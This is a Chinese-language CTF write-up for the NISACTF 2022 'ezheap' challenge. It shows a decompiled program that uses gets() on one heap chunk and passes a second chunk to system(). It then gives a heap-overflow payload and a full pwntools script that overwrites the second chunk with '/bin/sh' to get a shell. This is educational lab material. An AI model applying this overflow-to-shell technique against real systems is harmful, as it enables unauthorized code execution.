NSSCTF [NISACTF 2022]ezheap
2058.[NISACTF 2022]ezheap(堆溢出)
[NISACTF 2022]ezheap
1.准备
2.ida分析
main函数
int __cdecl main(int argc, const char **argv, const char **envp) { char *command; // [esp+8h] [ebp-10h] char *s; // [esp+Ch] [ebp-Ch] setbuf(stdin, 0); setbuf(stdout, 0); s = (char *)malloc(0x16u); command = (char *)malloc(0x16u); puts("Input:"); gets(s); system(command); return 0; }
这里先创建两个堆块s和command
然后在s有一个输入点,gets函数,存在堆溢出
并在下面有system函数,内容为command块的内容
3.EXP
思路:
这题有堆溢出和system函数,程序最后会运行system函数,内容为command块的内容
所以我们可以通过堆溢出,从s堆块溢出到command块,写入'/bin/sh',触发连接
通过gdb调试,得到偏移量
在main函数下断点,运行程序
一直运行到两个call malloc@plt后,查看堆情况
看到这里先要填充28个字节,在给command块一个size值后,就可以在command块填入'/bin/sh'当作它的内容
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
脚本
from pwn import * context.log_level = "debug" # io=remote('node5.anna.nssctf.cn',21394) io= process('/home/motaly/pwn') paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00' io.sendline(paylaod) io.interactive()
免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。